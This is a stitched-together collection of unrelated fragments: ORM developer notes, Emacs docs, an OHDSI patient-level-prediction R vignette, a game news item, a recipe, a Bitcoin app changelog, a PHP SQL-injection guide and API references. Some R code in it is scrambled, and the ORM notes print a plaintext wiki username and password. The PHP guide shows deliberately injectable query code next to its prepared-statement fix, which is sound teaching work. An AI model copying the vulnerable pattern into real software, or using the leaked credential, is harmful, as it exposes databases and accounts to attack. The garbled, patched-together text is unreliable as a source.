// name. At least MSSQL had syntax errors with it.
+
if (doJoin) {
+
ret.append(quoteTable(tableName));
+
ret.append('.');
+
}
}
- if ( doJoin )
{
-
ret.append( quoteTable(tableName) );
-
ret.append( '.' );
- }
-
- SQuery.ascending(field) fails due to (non) quoting of
identifiers, inconsistent case if cols declared Lower Case.
General Quoting issues.
- public static Object rawQueryDB(String sql, String [] params, int
nrColumns) rs.close(); ps.close(); in finally blocks.
- SResultSet.hasNext calls JDBC.next, but hasNext may be called
multiple times. (The Itterator semantics are wrong!) Need a magic flag.
(And actually needs to extend Iterator!)
- Default value for (Mandatory?) fields.
- Check column constraints automatically at set time. Not
Null, string length.
- Reference. IsNull should not query.
- More key generators, Key Table based, @@Identity.
- Add DISPLAY_LENGTH
- DataTypesTest.java -- add SDriver.SupportsTrailingSpaces etc. to
SDriver. For MySQL:
TestUte.assertTrue(dt.getObject(DataTypes.NAME).toString().equals("Trailing
")); actually returns "Trailing"
TestUte.assertEqual(""+(now2+50)/100, ""+(now+50)/100);
TestUte.assertTrue(dt.getBigDecimal(DataTypes.ADECIMAL)
.equals(new
java.math.BigDecimal("123456789012345678.3333"))); "123456789012.3456"
works. MySQL 4.1 manual says that NUMERIC has the same max range as
DOUBLE.
- More work on SPreparedStatement.setOffset/setLimit. There
might be something that can be added to the underlying
ResultSet.setMaxRows.
Longer Term
- Think carefully about detaching, nulling links. Do we
detach parent before or after children? What if child.parent is
referenced during detaching process? etc.
- Think
about One end collections. Ie All a depts employees. Maybe
just as a default query? But detaching is key.
- Triming of strings/CHAR. Tricky to know what to do.
See SRecordInstance.getString for discussion.
- Set Isolation.
- Think about Java 1.4 logging. Or Apache Commons.
- SCofiguration object. (Open JDBC; for separate transaction
keys.)
- Some support for non-database "Transient" records. Ie. What
Hibernate does after new before Save.
- Use batchs for flushing.
- Database dependent ways to declare long char fields for memos
etc.
Eg. Oracle has a 2000 byte limit, MySQL < 1000. A Pain, but the
drivers allow for it.
SAPDB: 8,000 max (4,000 UTF16), else Long.
- Maybe add MaxNrCharacters property and validate. (Cannot
use the parameter to SFieldString, it is typically the number of Bytes
after UTF8 compression, ie. meaningless.)
- SINDEX, SUNIQUE -- Maybe create indexes.
- SapDB support. Trims trailing spaces on VarCHAR. Unknown Database
'SAP DB' driver 'SAP DB'. Using generic SDriver. YEAR is a reserved
word (maybe "" all of them.)
- Database independent null Processing (Mandatory vs Null, Sybase
vs Oracle).
- Provide default values for new records (at least constants).
- Batch JDBC updates in flush.
- Way to include SQUERY_COLUMN field definitionss in SQuery.eq
queries. Also add SQuery.SubSelectEq(value, reference,
subquery), eg. for where Order.Product.Type = "XX".
- Add table SSchema property (instead of FOO.BAR table names)
- Eric's extra events and business rules.
- Mechanism to allow multiple errors to be thrown at once for UI
work. (R Grant)
- Enumerated types and Booleans. (Integration with Java 1.5?).
- Batch updates during Flush (JDBC 2). Also Lazy
findOrCreate, JDBC 2 batched queries
- Optimize generated keys -- retrieve in batches.
- Automatically join in multiple records into a single query.
- Different record locking modes. Eg. Serializable. Also optimistic
& automatic lock promotion upon first update.
- Maybe some type of dependent object, eg. Address. Easy but
unclear how useful.
- Clear as well as Flush, ie. to be able to do large batches in one
transaction. Caveat: Optimistic locking.
JavaDoc
Do make the JavaDocs using ant api. The core package
includes an ER/UML diagram which shows all the classes of SimpleORM
together with the relationships between them and the more important
methods. It should prove useful when working through the examples.
WikiPage
Phil has started a Wiki page started at
http://www.highoctane.be/pmwiki/pmwiki.php/Main/SimpleOrmDevelopersHandbook?action=search&text=SimpleOrmDevelopersHandbook
Username: simpleorm
Password: shazam$1


omit-file-version-expansion « 0
Controls file name expansion. When true, it causes file versions to be omitted when file recognition is used with visit-file, read-file etc.
override-end-of-line-style _ « "none"
Specifies whether the end-of-line style of all buffers should be overridden when writing them out to files. The default value is none, meaning that the buffer-specific attribute settings specified by current-buffer-end-of-line-style are not overridden. If override-RMS-record-attribute is set to one of "crlf" or "lf", then all buffers will be written out with the specified style, regardless of the value of current-buffer-end-of-line-style.
override-RMS-record-attribute _ « "none"
We recommend you use the variable override-end-of-line-style to set the end-of-line style rather then use the RMS variables.
Specifies whether the RMS attributes of all buffers should be overridden when writing them out to files. The default value is none, meaning that the buffer-specific attribute settings specified by current-buffer-RMS-record-attribute are not overridden. If override-RMS-record-attribute is set to one of stream, stream-lf or stream-cr, then all buffers will be written out with the specified attribute, regardless of the value of current-buffer-RMS-record-attribute.
This read only variable contains the name of the operating system that Emacs is running on.
Value Description "Windows" Microsoft Windows NT, Windows 9x or Windows 3.1 "MacOSX" Apple macOS "Linux" Linux "MS-DOS" Microsoft MS-DOS "osf1" OSF/1 "ultrix" Ultrix "VMS" OpenVMS/VAX or OpenVMS/AXP
This read only variable contains the version of the operating system that Emacs is running on.
In the case of the Microsoft Windows set of operating systems operating-system-version allows you to tell them apart.
Value Description V4.0 NT Windows NT 4.0 V3.51 NT Windows NT 3.51 V4.10 Win95 Windows 98 V4.0 Win95 Windows 95 On other operating systems it returns the version in a format compatible with the host operating systems conventions.


{% load staticfiles %}
We help you manage your studies on the fly
Contact us and we'll get back to you within 24 hours.
Omaha, US
+1<PHONE_NUMBER>
ems@unomaha.edu


vignettes/BuildingMultiplePredictiveModels.Rmd
BuildingMultiplePredictiveModels.Rmd
In our paper
, we propose a standardised framework for patient-level prediction that utilizes the OMOP CDM and standardized vocabularies, and describe the open-source software that we developed implementing the framework’s pipeline. The framework is the first to enforce existing best practice guidelines and will enable open dissemination of models that can be extensively validated across the network of OHDSI collaborators.
One our best practices is that we see the selection of models and all study setting as an emperical question, i.e. we should use a data-driven approach in which we try many settings. This vignette describes how you can use the Observational Health Data Sciencs and Informatics (OHDSI) PatientLevelPrediction
package to automatically build multiple patient-level predictive models, e.g. different population settings, covariate settings, and modelsetting. This vignette assumes you have read and are comfortable with building single patient level prediction models as described in the BuildingPredictiveModels
vignette.
Note that it is also possible to generate a Study Package directly in Atlas that allows for multiple patient-level prediction analyses this is out-of-scope for this vignette.
The first step is to specify each model you wish to develop by using the createModelDesign
function. This function requires the following:
| input | Description |
|---|---|
| targetId | The id for the target cohort |
| outcomeId | The id for the outcome |
| restrictPlpDataSettings | The settings used to restrict the target population, created with createRestrictPlpDataSettings() |
| populationSettings | The settings used to restrict the target population and create the outcome labels, created with createStudyPopulationSettings() |
| covariateSettings | The settings used to define the covariates, created with FeatureExtraction::createDefaultCovariateSettings() |
| sampleSettings | The settings used to define any under/over sampling, created with createSampleSettings() |
| featureEngineeringSettings | The settings used to define any feature engineering, created with createFeatureEngineeringSettings() |
| preprocessSettings | The settings used to define any preprocessing, created with createPreprocessSettings() |
| modelSettings | The settings used to define the model fitting settings, such as setLassoLogisticRegression() |
For example, if we wanted to predict the outcome (id 2) occuring for the first time within 180 days of the the target population index date (id 1). We are only interested in index dates betwrrn 2018-2020. Finally, we only want to use age, gender in 5 year buckets and conditions as features. The model can be specified by:
# Model 1 is only using data between 2018-2020:
restrictPlpDataSettings <- createRestrictPlpDataSettings(
studyStartDate = '20180101',
studyEndDate = '20191231'
)
# predict outcome within 1 to 180 days after index
# remove people with outcome prior and with < 365 days observation
populationSettings <- createStudyPopulationSettings(
binary = T,
firstExposureOnly = T,
washoutPeriod = 365,
removeSubjectsWithPriorOutcome = T,
priorOutcomeLookback = 9999,
requireTimeAtRisk = F,
riskWindowStart = 1,
riskWindowEnd = 180
)
# use age/gender in groups and condition groups as features
covariateSettings <- FeatureExtraction::createCovariateSettings(
useDemographicsGender = T,
useDemographicsAgeGroup = T,
useConditionGroupEraAnyTimePrior = T
)
modelDesign1 <- createModelDesign(
targetId = 1,
outcomeId = 2,
restrictPlpDataSettings = restrictPlpDataSettings,
populationSettings = populationSettings,
covariateSettings = covariateSettings,
featureEngineeringSettings = createFeatureEngineeringSettings(),
sampleSettings = createSampleSettings(),
preprocessSettings = createPreprocessSettings(),
modelSettings = setLassoLogisticRegression()
)
For the second example, we want to predict the outcome (id 2) occuring for the first time within 730 days of the the target population index date (id 1). We want to train a random forest classifier. Finally, we want to use age, gender in 5 year buckets, drug ingredients (and groups) and conditions as features. The model can be specified by:
# Model 2 has no restrictions when extracting data
restrictPlpDataSettings <- createRestrictPlpDataSettings(
)
# predict outcome within 1 to 730 days after index
# remove people with outcome prior and with < 365 days observation
populationSettings <- createStudyPopulationSettings(
binary = T,
firstExposureOnly = T,
washoutPeriod = 365,
removeSubjectsWithPriorOutcome = T,
priorOutcomeLookback = 9999,
requireTimeAtRisk = F,
riskWindowStart = 1,
riskWindowEnd = 730
)
# use age/gender in groups and condition/drug groups as features
covariateSettings <- FeatureExtraction::createCovariateSettings(
useDemographicsGender = T,
useDemographicsAgeGroup = T,
useConditionGroupEraAnyTimePrior = T,
useDrugGroupEraAnyTimePrior = T
)
modelDesign2 <- createModelDesign(
targetId = 1,
outcomeId = 2,
restrictPlpDataSettings = restrictPlpDataSettings,
populationSettings = populationSettings,
covariateSettings = covariateSettings,
featureEngineeringSettings = createRandomForestFeatureSelection(ntrees = 500, maxDepth = 7),
sampleSettings = createSampleSettings(),
preprocessSettings = createPreprocessSettings(),
modelSettings = setRandomForest()
)
For the third example, we want to predict the outcome (id 5) occuring during the cohort exposure of the the target population (id 1). We want to train a gradient boosting machine. Finally, we want to use age, gender in 5 year buckets and indications of measurements taken as features. The model can be specified by:
# Model 3 has no restrictions when extracting data
restrictPlpDataSettings <- createRestrictPlpDataSettings(
)
# predict outcome during target cohort start/end
# remove people with < 365 days observation
populationSettings <- createStudyPopulationSettings(
binary = T,
firstExposureOnly = T,
washoutPeriod = 365,
removeSubjectsWithPriorOutcome = F,
requireTimeAtRisk = F,
riskWindowStart = 0,
startAnchor = 'cohort start',
riskWindowEnd = 0,
endAnchor = 'cohort end'
)
# use age/gender in groups and measurement indicators as features
covariateSettings <- FeatureExtraction::createCovariateSettings(
useDemographicsGender = T,
useDemographicsAgeGroup = T,
useMeasurementAnyTimePrior = T,
endDays = -1
)
modelDesign3 <- createModelDesign(
targetId = 1,
outcomeId = 5,
restrictPlpDataSettings = restrictPlpDataSettings,
populationSettings = populationSettings,
covariateSettings = covariateSettings,
featureEngineeringSettings = createFeatureEngineeringSettings(),
sampleSettings = createSampleSettings(),
preprocessSettings = createPreprocessSettings(),
modelSettings = setGradientBoostingMachine()
)
As we will be downloading loads of data in the multiple plp analysis it is useful to set the Andromeda temp folder to a directory with write access and plenty of space. options(andromedaTempFolder = "c:/andromedaTemp")
To run the study requires setting up a connectionDetails object
dbms <- "your dbms"
user <- "your username"
pw <- "your password"
server <- "your server"
port <- "your port"
connectionDetails <- DatabaseConnector::createConnectionDetails(dbms = dbms,
server = server,
user = user,
password = pw,
port = port)
Next you need to specify the cdmDatabaseSchema where your cdm database is found and workDatabaseSchema where your target population and outcome cohorts are and you need to specify a label for the database name: a string with a shareable name of the database (this will be shown to OHDSI researchers if the results get transported).
<- "your cdmDatabaseSchema"
cdmDatabaseSchema <- "your workDatabaseSchema"
workDatabaseSchema <- "your cdmDatabaseName"
cdmDatabaseName <- "your cohort table",
cohortTable
<- createDatabaseDetails(
databaseDetails connectionDetails = connectionDetails,
cdmDatabaseSchema = cdmDatabaseSchema,
cdmDatabaseName = cdmDatabaseName ,
cohortDatabaseSchema = workDatabaseSchema,
cohortTable = cohortTable,
outcomeDatabaseSchema = workDatabaseSchema,
outcomeTable = cohortTable
cdmVersion = 5
)
Now you can run the multiple patient-level prediction analysis:
results <- runMultiplePlp(
databaseDetails = databaseDetails,
modelDesignList = list(
modelDesign1,
modelDesign2,
modelDesign3
),
onlyFetchData = F,
splitSettings = createDefaultSplitSetting(),
logSettings = createLogSettings(),
saveDirectory = "./PlpMultiOutput"
)
This will then save all the plpData objects from the study into “./PlpMultiOutput/plpData_T1_L” and the results into “./PlpMultiOutput/Analysis_”. The csv file named settings.csv found in “./PlpMultiOutput” has a row for each prediction model developed and points to the plpData and settings used for the model development, it also has descriptions of the cohorts if these are input by the user.
Note that if for some reason the run is interrupted, e.g. because of an error, a new call to runMultiplePlp
will continue and not restart until you remove the output folder.
If you have access to multiple databases on the same server in different schemas you could evaluate accross these using this call:
validationDatabaseDetails <- createDatabaseDetails(
connectionDetails = connectionDetails,
cdmDatabaseSchema = 'new cdm schema',
cdmDatabaseName = 'validation database',
cohortDatabaseSchema = workDatabaseSchema,
cohortTable = cohortTable,
outcomeDatabaseSchema = workDatabaseSchema,
outcomeTable = cohortTable,
cdmVersion = 5
)
val <- validateMultiplePlp(
analysesLocation = "./PlpMultiOutput",
valdiationDatabaseDetails = validationDatabaseDetails,
validationRestrictPlpDataSettings = createRestrictPlpDataSettings(),
recalibrate = NULL,
saveDirectory = "./PlpMultiOutput/validation"
)
This then saves the external validation results in the validation folder of the main study (the outputLocation you used in runPlpAnalyses).
To view the results for the multiple prediction analysis:
viewMultiplePlp(analysesLocation="./PlpMultiOutput")
If the validation directory in “./PlpMultiOutput” has results, the external validation will also be displayed.
Considerable work has been dedicated to provide the PatientLevelPrediction
package.
citation("PatientLevelPrediction")
##
## To cite PatientLevelPrediction in publications use:
##
## Reps JM, Schuemie MJ, Suchard MA, Ryan PB, Rijnbeek P (2018). "Design
## and implementation of a standardized framework to generate and evaluate
## patient-level prediction models using observational healthcare data."
## _Journal of the American Medical Informatics Association_, *25*(8),
## 969-975. <URL: https://doi.org/10.1093/jamia/ocy032>.
##
## A BibTeX entry for LaTeX users is
##
## @Article{,
## author = {J. M. Reps and M. J. Schuemie and M. A. Suchard and P. B. Ryan and P. Rijnbeek},
## title = {Design and implementation of a standardized framework to generate and evaluate patient-level prediction models using observational healthcare data},
## journal = {Journal of the American Medical Informatics Association},
## volume = {25},
## number = {8},
## pages = {969-975},
## year = {2018},
## url = {https://doi.org/10.1093/jamia/ocy032},
## }
Please reference this paper if you use the PLP Package in your work:


Halo: Reach Joins the Master Chief Collection on December 3
by Rich StantonBungie’s final Halo game was both farewell and prequel to a series the studio had made great. Halo: Reach also gave some indication of what was to come, building its (excellent) campaign around a squad of Spartans and 4-player co-op. The less said about jetpacks in multiplayer the better, but Reach got so much right.
Tonight at X019 Brian Jarrard of 343 Industries, the current custodians of the franchise, announced that Reach is joining its extended family in Halo: The Master Chief Collection on December 3. The game will also be available for individual purchase at $9.99 (UK price TBC), and the news came with a shiny trailer showing off all those high-res Mjolnir textures.
It’s been a long road here for the Master Chief Collection, which launched years ago in an abject state. To 343’s credit the studio subsequently doubled-down on supporting the game and, while progress has been slower than fans might like, it’s been maintained and updated with some care. Reach arguably marks the ‘completion’ of the project, and 343 should probably get ready for lots more pizza.


| Package | Description |
|---|---|
| javax.measure |
Provides strongly typed measurements to enforce compile-time
check of parameters consistency and avoid interface errors.
|
| javax.measure.converter |
Provides support for unit conversion.
|
| javax.measure.quantity |
Provides quantitative properties or attributes of thing such as
mass, time, distance, heat, and angular separation.
|
| javax.measure.unit |
Provides support for programatic unit handling.
|
| org.flexiblepower.context |
This packages defines the
FlexiblePowerContext interface. |
| org.flexiblepower.messaging |
The wiring package provides the interfaces for 2-way messaging between components.
|
| org.flexiblepower.observation |
The observation package contains all the interfaces and datatypes for producing and consuming
Observation s. |
| org.flexiblepower.observation.ext |
The extended observation package contains some helper implementations to make implementing an ObservationProvider
much easier.
|
| org.flexiblepower.time |
The time package provides the useful
TimeUtil utility class for time calculations. |


Preparation time
30 mins to 1 hour
Cooking time
no cooking required
Serves
Serves 6
Cut the sea bass and salmon fillets into 2.5cm/1in pieces.
Place the fish into a bowl and sprinkle with the lime juice, grapefruit juice and orange juice, setting aside the grapefruit pieces.
Add the chilli, spring onions, garlic and a little salt and freshly ground black pepper to taste.
Cover the bowl and place into the fridge to chill for at least 40 minutes, or up to a maximum of four hours for a fuller flavour.
Just before serving add the mint to the bowl and mix to combine.
To serve, place a spoonful of the mixture onto each plate. Garnish each plate with a few of the grapefruit segments and serve with French toast.


Payment Return Card: Paying Month: Month January (01) February (02) March (03) April (04) May (05) June (06) July (07) August (08) September (09) October (10) November (11) December (12) Payment Amount


FAQ
If you have a question not covered here please post it to our
forums
.
Copyright ©
Sickhead Games, LLC
. All rights reserved.


This is an experimental software; you can lose bitcoins as a result. By using this software you agree that the authors or any other copyright holders of this software are not responsible for any loss of bitcoins or any other damage. By using this software you agree to its license. Use it at your own risk.
It is suggested to keep the minimal amount possible of bitcoins in the App at any given time and backup your wallet to a safe place. In addition there is no advance warning if a fee (0.01BC) will be added to some transactions.
Known issues
- Local node takes a long time to start (up to few minutes) so be patient
- If you stop the local node (Console/stop) you can't restart it. The only way to restart, is to completely exit the App (also from the background) and then start it again. Note that it will automatically restart in this case, so if you want to stop it again you will have to repeat the Console/stop command
- Local node does not accept incoming connections (-nolisten). Also you cant connect to it using HTTP-JSON-RPC from a different machine.
- Backup with email does not work when connected to a remote node
1.0.7
- you can now use http:// in the server name field to connect to a remote node using SSL
1.0.6
- Console: Manual command line parameters can use quotes and back-slash
- Console: break structured data into sections. For example, each transaction from listtransaction appears as a section
- Console: allow copy of value in rows with caption. For example, from listtransaction you can copy txid and then use it in gettransaction
- MyAddress: Add new addreess
- MyAddress: list all addresses
- MyAddress: emailing is done from tap-menu
- How To: instructions on how to find wallet in iTunes backup
- bug fix: autorefresh does not work when returning from background
- Console: fix getaddressesbyaccount example
1.0.5
- Send: Before actually trying to send, generate warning on any problem (including unexpected fee) and get approval to continue
- Send: give message on a successful send
- Send: use numeric keyboard for amount
- bug fix: password lock is not asked when returning from background
1.0.4
- Backup: not allowed when connected to a remote node
- Password lock: trivial protection against unwanted access, such as your kids playing on the phone. Turn it on from your device Settings panel.
1.0.3
- Balance: show the latest block number and its creation date from which the balance was taken
- Balance: fix title
- Send: warn if fee was added. Happens when the transactions is complex. Note that no advanced warning is given.
- Send: show progress while sending
1.0.2
- Balance button use getbalance command
- How to: say its possible to replicate your desktop wallet on device
- Credit for help icon
- Third upload to App store
1.0.1
- Second upload to App store
- disable threads in Berkley DB (problems with armv6/iPhone3G)
1.0.0
- First upload to App store
- Splash screen
0.0.16
- daemon runs with -nolisten
- Credits
- Icons
0.0.15
- My Address: email your address. The email includes a link that will open the BitCoin App on the device on which the email is read (assuming the App is already installed.) The App will start from the Send page with the address already entered
- Rescan the block chain for missing wallet transactions after wallet restore (otherwise you dont see its balance.)
- Title to all pages
- Donate - thanks in advance
0.0.14
- bugfix: Backup crash
- bugfix: crash when starting App inside one of the screens and doing going back
0.0.13
- Remote: connect to a node (i.e., bitcoin server/daemon) running on a different remote machine
0.0.12
- Wallet restore: see howto for instructions
- Console: dont perform auto-repeat, every 2sec, on commands: help,stop,manual.
- Feedback
0.0.11
- Backup: send an email with your wallet.dat as attachment - this is a very insecure way to backup
- Launch screen:velvet background/white text
0.0.10
- Console: Manually enter RPC command lines for bitcoin server. Status and Transactions moved to be live examples
- Send: Enter moves you from field to field. Dont use modal screen
- What's new and How To moved to About
- Remove glossy effect from icon. Change background to gray
- Balance: list accounts/balance
0.0.9
0.0.8
0.0.7
- Info,Address,Balance: when bitcoin is starting change message from Error to wait
- perform an automatic refresh every 1 sec
- when bitcoin is answering (in info,address,balance) do an auto refresh every 2 sec.
- Send
- In case of an error show descriptive message
- If send is OK, return to launcher screen
- About: link to bitcoin.org
- Transactions
- show last 10 transactions as raw text
- Whats New
- License
0.0.6
0.0.5
- support iOS 4.0 and higher
0.0.4
- About
- version #
- link to www.symfi.mobi
- Send To
- Balance
- Info: bugfix, restore title of each line
0.0.3
- Address command, shows the current address of the "" account.
- you can copy-paste the address
0.0.2
0.0.1
- entire bitcoind runs on a separate thread inside an App.
- The App acts as a client and communicates using the regular RPC-JSON with the bitcoind.
- client implemented using Three20:
- on the info page if you drag the table all the way down you can force it to refresh its content
- every bitcoind command appears as an icon on the launcher screen
- For now the only command on the client side is "getinfo".


Upload reference data
- tables, columns, and integrity constraints are loaded
- SQLite and PostgreSQL databases supported out of the box
- upload data from a JSON or CSV file
- the schema can be manually edited even without source data
Customize the generators
- choose from a set of parametrizable generators
- generators are assigned automatically
- parameters are learned from the reference data
- extensible via Python programming
Create synthetic data
- fill a database directly
- generate JSON, CSV, or an INSERT script
- export to a configuration file and run from the CLI application


<vaadin-grid-sorter>
can be used to define sorting for a column.
Hint: When using a data provider, path
on the sorter element
can be customized to be any string, instead of a property on the item object.
NOTE: You must explicitly import the vaadin-grid-sorter.html
in order to use <vaadin-grid-sorter>
.
<vaadin-grid-filter>
can be used to define filtering for a column.
Hint: When using a data provider, path
on the filter element
can be customized to be any string, instead of a property on the item object.
NOTE: You must explicitly import the vaadin-grid-filter.html
in order to use <vaadin-grid-filter>
.


Introduction
On the internet you play with your cards.
The idea of this protocol is to understand what, in our lives as online users, we could choose to express ourselves and meet our needs. If anonymity is allowed as an opportunity of free speech and to avoid discrimination, are the social networks allowing it too?


Bryan Jardin works for Duncan Toys, which is the biggest yo-yo manufacturer in the entire world. He was born and raised in the Philippines and currently living and working remotely in Orlando, Florida. Bryan is a versatile and prolific marketer, he adapted his winning yo-yo skills on his career that resulted tremendous growth on any projects he manage.


To Do List:
Add a Task:
Task Name
Task Details
Add
Your To Do List:
Current Task:
Details:
Remove Test


taglifish are the stickers helping you reward people who find the items you care about.
Do you know the story that redfish doesn't have a memory? Our taglifish is intelligent one and will memorize your object for long a time.
Define your reward for people doing good.
The person who will find your object could contact you using chat-like interface. You will be notified immediately.
Join the community of nice people with great karma.
Join today


Use prepared statements to execute SQL queries, especially when untrusted data is being passed to the database. Do not concatenate user input into SQL queries. You can use static query strings without using prepared statements and it won't result in SQL injection, so long as all queries that include untrusted data, such as user input, use prepared statements. You can also use parameterized stored procedures as an alternative solution to similar effect.
Prepared statements mitigate the number one risk for Internet-facing Web applications that use databases: SQL injection. This powerful attack is language independent, as it depends on the algorithm used to generate SQL strings passed to the database and affects the database engine, not the actual application. The vulnerability is caused by concatenating untrusted data into SQL query strings. This allows attackers to insert valid SQL statement fragments as part of user input so they, in turn, are embedded within the SQL query that is submitted to the database engine for execution. Successful exploitation allows an attacker to potentially compromise the entire database and often the application. Compromising the application can then potentially be leveraged to take over the server and then use it to pivot around whatever networks it might be connected to.
Prepared statements offer a simple yet effective mitigation since they automatically separate user input from SQL syntax, making it impossible to modify the structure of the SQL query, regardless of what data is entered by the user.
Here is a classic SQL injection example:
<?php
$username = 'root';
$password = '';
$con = mysqli_connect("localhost", $username, $password, "tpcatalog");
if(mysqli_connect_errno())
{
echo "Error: could not connect to the database";
}
//VULNERABLE CODE BELOW
$query = "SELECT name, description FROM TPCourses WHERE id=".$_REQUEST['id'];
$result = $con->query($query);
//VULNERABLE CODE ABOVE
if($result->num_rows >0){
while($row = $result->fetch_assoc()){
echo $row['name'] . ' ' . $row['description'] . '
';
}
$con->close();
}
Concatenating untrusted data to the end of an SQL query is probably the most common type of SQL injection. It is so common that some attackers use search engines to look for URLs that contain an id parameter, because a lot of such pages are vulnerable.
Let's fix the vulnerable code from the example above using prepared statements:
<?php
$username = 'root';
$password = '';
$con = new mysqli("localhost", $username, $password, "tpcatalog");
if(mysqli_connect_errno())
{
echo "Error: could not connect to the database";
}
//INVULNERABLE CODE BELOW
$query = $con->prepare("SELECT name, description FROM TPCourses WHERE id=(?)");
$query->bind_param("i", intval($_REQUEST['id']));
$query->execute();
$query->bind_result($name, $description);
//INVULNERABLE CODE ABOVE
while($query->fetch()){
echo $name . ' ' . $description . '
';
}
$query->close();
$con->close();
There is no error checking or handling in the solution example to make it simpler and easier to read, but you should always do error checking and handling on production systems. A database connection might fail for example. The solution example does not contain an SQL injection vulnerability, even though it passes untrusted input to the database without validation, encoding, escaping or sanitization. In practice, all untrusted input should be validated.


A popover provides helpful contextual information in a dedicated container. It is meant for longer descriptions, help or additional actions that are not critical to the application.
The template can be rendered either right after its toggle or at the end of the body. In any case, the template is removed from the DOM
when not active. Adding it after the toggle element preserves the tabindex order. Focusable components should receive focus in an order
that preserves meaning and usability. See
WCAG 2.0 Supporting Documents 2.4.3: Focus order. Unfortunately, this can lead to z-index
problems that can only be solved by adding it at the end of the body.
Accessibility is ensured through the aria-describedby
attribute and the tooltip
role. The positioning is
achieved with the popper library, for more information see popper.js.org.


Gecode::Int::Branch Namespace Reference
Integer branchers. More...
Classes | |
| class | PosValuesChoice |
| Choice storing position and values More... | |
| class | ValMin |
| Class for selecting minimum value. More... | |
| class | ValMed |
| Class for selecting median value. More... | |
| class | ValRnd |
| Class for random value selection. More... | |
| class | ValSplitMin |
| Class for splitting domain at mean of smallest and largest element (lower half first). More... | |
| class | ValRangeMin |
| Class for trying the first range of a domain first or splitting domain at mean of smallest and largest element (lower half first). More... | |
| class | NoValue |
| For Boolean branchers not needing a value. More... | |
| class | ValZeroOne |
| Class for trying zero and then one. More... | |
| class | ViewValuesBrancher |
| Brancher by view and values selection More... | |
| class | AssignValMin |
| Class for assigning minimum value. More... | |
| class | AssignValMed |
| Class for assigning maximum value. More... | |
| class | AssignValRnd |
| Class for assigning random value. More... | |
| class | AssignValZero |
| Class for assigning zero. More... | |
| class | ByMinMin |
| View selection class for view with smallest min. More... | |
| class | ByMinMax |
| View selection class for view with largest min. More... | |
| class | ByMaxMin |
| View selection class for view with smallest max. More... | |
| class | ByMaxMax |
| View selection class for view with largest max. More... | |
| class | BySizeMin |
| View selection class for view with smallest size. More... | |
| class | BySizeMax |
| View selection class for view with largest size. More... | |
| class | BySizeDegreeMin |
| View selection class for view with smallest size divided by degree. More... | |
| class | BySizeDegreeMax |
| View selection class for view with largest size divided by degree. More... | |
| class | BySizeAfcMin |
| View selection class for view with smallest size divided by accumulated failure count. More... | |
| class | BySizeAfcMax |
| View selection class for view with largest size divided by accumulated failure count. More... | |
| class | ByRegretMinMin |
| View selection class for view with smallest min-regret. More... | |
| class | ByRegretMinMax |
| View selection class for view with largest min-regret. More... | |
| class | ByRegretMaxMin |
| View selection class for view with smallest max-regret. More... | |
| class | ByRegretMaxMax |
| View selection class for view with largest max-regret. More... | |
Functions | |
| template<class SelView > | |
| void | post (Space &home, ViewArray< BoolView > &x, SelView &v, IntValBranch vals, const ValBranchOptions &o_vals, BranchFilter bf) |
| Post brancher according to v and vals. | |
| template<class SelView > | |
| void | post (Space &home, ViewArray< IntView > &x, SelView &v, IntValBranch vals, const ValBranchOptions &o_vals, BranchFilter bf) |
| Post brancher according to v and vals. | |
| void | virtualize (Gecode::Home home, IntVarBranch vars, const Gecode::VarBranchOptions &o_vars, Gecode::ViewSelVirtualBase< BoolView > *&v) |
| Create virtual view selector for tie-breaking. | |
| void | virtualize (Gecode::Home home, IntVarBranch vars, const Gecode::VarBranchOptions &o_vars, Gecode::ViewSelVirtualBase< IntView > *&v) |
| Create virtual view selector for tie-breaking. |
Detailed Description
Integer branchers.
Function Documentation
template<class SelView >
| void Gecode::Int::Branch::post | ( | Space & | home, | |
| ViewArray< BoolView > & | x, | |||
| SelView & | v, | |||
| IntValBranch | vals, | |||
| const ValBranchOptions & | o_vals, | |||
| BranchFilter | bf | |||
| ) | [inline] |
Post brancher according to v and vals.
Definition at line 43 of file post-val-bool.hpp.
template<class SelView >
| void Gecode::Int::Branch::post | ( | Space & | home, | |
| ViewArray< IntView > & | x, | |||
| SelView & | v, | |||
| IntValBranch | vals, | |||
| const ValBranchOptions & | o_vals, | |||
| BranchFilter | bf | |||
| ) | [inline] |
Post brancher according to v and vals.
Definition at line 43 of file post-val-int.hpp.
| void Gecode::Int::Branch::virtualize | ( | Gecode::Home | home, | |
| IntVarBranch | vars, | |||
| const Gecode::VarBranchOptions & | o_vars, | |||
| Gecode::ViewSelVirtualBase< BoolView > *& | v | |||
| ) |
Create virtual view selector for tie-breaking.
Definition at line 48 of file post-view-bool.cpp.
| void Gecode::Int::Branch::virtualize | ( | Gecode::Home | home, | |
| IntVarBranch | vars, | |||
| const Gecode::VarBranchOptions & | o_vars, | |||
| Gecode::ViewSelVirtualBase< IntView > *& | v | |||
| ) |
Create virtual view selector for tie-breaking.
Definition at line 48 of file post-view-int.cpp.


--- layout: post authors: ["Greg Wilson"] title: "Workshops in March at Lawrence Berkeley Lab" date: 2015-02-02 time: "09:30:00" tags: ["Workshops", "Instructor Training", "Lawrence Berkeley Lab"] ---
I will be teaching a two-day Software Carpentry instructor training course on March 10-11, 2015 at Lawrence Berkeley Lab, and a one-day course on web programming on March 13, 2015. Details are given below; the instructor training is open to LBL staff and to graduate students and staff associated with the Berkeley Institute for Data Science, while the web programming class is reserved for LBL staff alone.
Software Carpentry Instructor Training
This two-day intensive class will introduce basic ideas in educational psychology and instructional design, and show how to use them to teach researchers in science, engineering, and medicine how to use computers more effectively in their work. The course will be led by Dr. Greg Wilson, Executive Director of the Software Carpentry Foundation; no previous formal training in teaching is required, but participants should be comfortable writing medium-sized programs and using the command line. (Experience with version control tools such as Git is desirable as well.)
The class will be held in Room 15-253 at LBL. Registration is presently open to LBL staff; registration for staff and graduate students associated with the Berkeley Institute for Data Science will open shortly. To sign up, please go to http://go.lbl.gov/sc-instructor-train-mar10-11.
Introduction to Web Programming
This one-day course will be held in Room 54-130 at Lawrence Berkeley Lab on March 13, 2015. It will show participants how to write programs to get, share, and syndicate data over the web, and how to write simple dynamic web applications. Participants must have previous programming experience in Python; prior experience writing HTML is useful but not essential. The course is open to staff at LBL—space is limited, so please register early at http://go.lbl.gov/sc-web-prog-mar13.
Specific topics will include:
the HTTP protocol and the HTTP request/response cycle;
using web APIs to download data in common formats (and how that works behind the scenes);
how to make data available and findable for others using static page generators;
how a web server works; and
how to make data available and findable dynamically.
We will use the requests module for client programming, and the Flask framework for server programming.


Classes
The following classes are available globally.
-
ListPaginator simplifies the fetching and state management for lists of data populated from a paginated endpoint. It’s main aims are to maintain correct page offsets, fetch statuses and retain responses from paginated API endpoints.
Implementation typically looks as follows:
